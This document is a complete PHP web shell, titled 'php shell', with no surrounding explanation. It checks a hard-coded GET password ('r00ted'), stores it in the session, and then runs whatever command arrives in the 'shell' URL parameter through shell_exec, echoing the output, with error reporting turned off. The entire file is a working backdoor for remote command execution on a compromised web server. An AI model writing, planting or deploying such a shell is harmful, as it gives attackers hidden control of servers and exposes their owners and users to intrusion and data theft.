php shell

<?php

error_reporting(0);
session_start();
//$password = $_GET[password];
//$username = $_GET[username];
//$pass = "password";
//$user = "user";

if(empty(isset($_SESSION['pass']))){
    if ($_GET['password'] == "r00ted")
    {
    $_SESSION['pass'] = $_GET['password'];
    header("Location: ?shell=uname -a");
    }
    else
    {
        die("You Need to login with correct password");
    }
}else{
    $print = shell_exec($_GET['shell']);
    echo $print;
    }

?>